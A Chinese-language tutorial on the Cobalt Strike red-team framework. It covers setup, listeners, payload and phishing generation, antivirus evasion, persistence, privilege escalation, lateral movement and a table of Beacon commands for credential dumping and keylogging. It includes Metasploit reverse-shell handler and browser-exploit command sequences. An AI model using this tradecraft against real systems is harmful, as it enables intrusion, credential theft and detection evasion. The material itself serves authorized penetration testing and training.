Cobalt Strike使用详解
字数 3660 2025-08-09 16:00:17
Cobalt Strike 渗透测试工具详解
1. 简介
Cobalt Strike 是一款专业的渗透测试工具,具有以下特点:
- 采用客户端/服务端架构,支持团队协作
- 基于Metasploit框架的GUI界面工具
- 功能全面,包括:
- 端口转发
- 多模式端口监听
- 多种payload生成(Windows exe/dll、Java、Office宏等)
- 站点克隆
- 浏览器信息获取
2. 环境部署
服务端启动
./teamserver [服务器IP地址] [密码]
客户端连接
- 双击start.bat
- 输入任意用户名
- 输入服务端设置的密码
3. 主要功能模块
3.1 Cobalt Strike选项卡
- New Connection:新建连接
- Preferences:设置
- Visualization:可视化显示(三种模式)
- VPN interfaces:VPN接口
- Listeners:监听器设置
3.2 Listeners监听器类型
Cobalt Strike内置监听器为Beacon,外置监听器为Foreign:
| 监听器类型 | 描述 |
|---|---|
| windows/dns/reverse_dns_txt | 使用DNS的TXT类型进行数据传输 |
| windows/dns/reverse_http | 使用DNS方式管理目标主机 |
| windows/http/reverse_http | 使用HTTP方式管理目标主机 |
| windows/https/reverse_https | 使用HTTPS加密方式管理目标主机 |
| windows/smb/bind_pipe | 使用SMB命名管道通信 |
| windows/foreign/reverse_http | 通过HTTP将权限外派给Metasploit/Empire |
| windows/foreign/reverse_https | 通过HTTPS将权限外派 |
| windows/foreign/reverse_tcp | 通过TCP将权限外派 |
3.3 View选项卡功能
- Applications:获取浏览器版本信息
- Credentials:凭证存储(hashdump/Mimikatz抓取的密码)
- Downloads:下载文件
- Event Log:主机上线记录和团队聊天记录
- Keystrokes:键盘记录
- Proxy Pivots:代理模块
- Screenshots:进程截图
- Script Console:控制台
- Targets:显示目标
- Web Log:Web访问记录
3.4 Attacks攻击模块
Packages模块:
- HTML Application:生成恶意HTA木马文件
- MS Office Macro:生成基于Office病毒的payload
- Payload Generator:生成多种语言版本的payload(C/C#/Java/Perl/PowerShell/Python/Ruby/VBA等)
- Windows Dropper:文档捆绑器,可捆绑后门程序
- Windows Executable:生成32/64位exe、基于服务的exe/dll后门
- Windows Executable(S):生成包含完整payload的可执行文件,支持代理设置和PowerShell脚本注入
Web Drive-by钓鱼模块:
- 结合社会工程学攻击
- 包括多种钓鱼方式(网站克隆、邮件钓鱼等)
Spare Phish邮件钓鱼:
- 可定制钓鱼邮件模板
- 支持附件和链接钓鱼
3.5 Reporting报告模块
- 生成渗透测试操作记录和结果报告
- 支持多种报告格式
4. 会话管理
4.1 Cobalt Strike派生Metasploit会话
- 在MSF中设置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.134
set lport 8800
exploit -j
- 在Cobalt Strike中新建外部监听器(TCP协议)
4.2 Metasploit派生会话给Cobalt Strike
- 生成MSF会话:
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.0.128
set SRVPORT 80
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 12345
exploit
- 在Teamserver上派生会话给CS:
use exploit/windows/local/payload_inject
set session 1
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.128
set lport 8888
set DisablePayloadHandler true
exploit -j
5. 免杀技术
- 修改payload特征
- 使用编码/加密技术
- 利用合法程序加载恶意代码
- 内存注入技术
6. 高级功能
6.1 重定向器与DNS Beacon
- 重定向器作用:
- 保护服务器地址
- 提供通信冗余能力
- DNS Beacon特点:
- 隐蔽性好(不开放端口)
- 可绕过防火墙(使用53端口)
- 缺点是响应速度慢
6.2 可持续后门
- 注册表持久化
- 计划任务
- 服务安装
- 启动文件夹
6.3 Malleable C2配置
- 修改C2配置文件可:
- 更改payload属性/行为
- 伪造正常通信流量
- 绕过IDS/防火墙检测
6.4 SSH隧道应用
- 通过SSH建立加密隧道
- 绕过网络限制
- 隐藏真实流量
6.5 MSF与Cobalt Strike联动
- 结合两者优势
- MSF擅长漏洞利用
- Cobalt Strike擅长后期渗透
7. 后渗透测试模块
7.1 权限提升
- elevate模块:
- ms14-058:直接提权至system
- uac-dll/uac-token-duplication:绕过UAC
- Golden Ticket:提升域管理权限
7.2 横向移动
- socks server模块:
- 浏览器直接添加socks4代理
- 将MSF流量引入代理
- 使用SocksCap64/proxychains工具
- Spawn As模块:以指定用户身份派生shell
- 级联监听器模块:端口转发+监听器组合
7.3 其他功能
- mimikatz模块:
- 自动匹配目标架构
- 支持多种命令格式
- 文件管理:上传/下载/创建文件夹
- 进程列表:键盘记录/进程注入/截图/令牌伪造
- 端口扫描:支持ARP/ICMP探测
8. Beacon常用命令
| 命令 | 描述 |
|---|---|
| argue | 进程参数欺骗 |
| blockdlls | 阻止子进程加载非Microsoft DLL |
| browserpivot | 注入浏览器进程 |
| bypassuac | 绕过UAC提权 |
| cd | 切换目录 |
| checkin | 强制回连 |
| clear | 清除任务队列 |
| connect | 通过TCP连接Beacon peer |
| dcsync | 从DC提取密码哈希 |
| desktop | 远程桌面(VNC) |
| dllinject | 反射DLL注入 |
| download | 下载文件 |
| elevate | 使用exp提权 |
| execute | 执行程序(无输出) |
| execute-assembly | 内存中执行.NET程序 |
| getsystem | 获取SYSTEM权限 |
| getuid | 获取用户ID |
| hashdump | 转储密码哈希 |
| inject | 进程注入生成会话 |
| kerberos_ccache_use | 应用ccache文件中的票据 |
| keylogger | 键盘记录 |
| kill | 结束进程 |
| link | 通过命名管道连接Beacon peer |
| logonpasswords | 使用mimikatz转储凭据 |
| ls | 列出文件 |
| make_token | 创建传递凭据的令牌 |
| mimikatz | 运行mimikatz |
| mkdir | 创建目录 |
| portscan | 端口扫描 |
| powershell | 通过powershell.exe执行命令 |
| psexec | 使用服务生成会话 |
| pth | 传递哈希 |
| run | 执行程序(返回输出) |
| runas | 以其他用户权限执行 |
| screenshot | 屏幕截图 |
| shell | 执行cmd命令 |
| sleep | 设置睡眠延迟 |
| socks | 启动SOCKS4代理 |
| spawn | 生成会话 |
| spawnas | 以其他用户身份生成会话 |
| steal_token | 窃取进程令牌 |
| upload | 上传文件 |
| wdigest | 使用mimikatz转储明文凭据 |
| winrm | 使用WinRM横向渗透 |
| wmi | 使用WMI横向渗透 |
9. 资源
- Cobalt Strike 4.0下载(提取码:d0op)
- 建议同时参考英文版和中文版资料学习
总结
Cobalt Strike是一款功能强大的渗透测试工具,特别适合红队操作和高级渗透测试。掌握其核心功能模块、会话管理、后渗透技术以及常用命令,能够有效提升渗透测试效率。使用时需注意遵守法律法规,仅在授权范围内使用。